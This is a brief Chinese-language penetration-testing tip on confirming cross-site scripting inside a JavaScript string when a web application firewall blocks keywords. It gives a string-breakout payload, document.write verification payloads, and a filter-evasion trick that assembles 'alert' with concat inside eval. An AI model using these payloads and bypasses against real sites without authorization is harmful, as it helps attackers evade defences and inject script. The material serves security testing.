渗透测试中xss验证方式

有一些站点可以使用’或者“等闭合,但是有时候验证非常困难,因为waf会把各种关键字拦截,从而我们无法进行危害验证,我给大家说一个方式进行验证。
例如漏洞源代码是这么写的

1
2
3
4
<script>
var ss = '222';
var dd = '333';
</script>

其中ss是可控参数,那么我们就可以想到的

1
payload:';alert(1);//

但是后面的关键字是会被waf拦截的,提供一种验证方式:

1
2
3
payload:document.write(location.href);

document.write(location.pathname);

前者返回当前页面整个url,后者为返回当前url路径名。
比如有些没有屏蔽一些合并字符的函数,那么我们就可以

1
eval('ale'.concat('rt','(1)');

或者join函数都是一样的。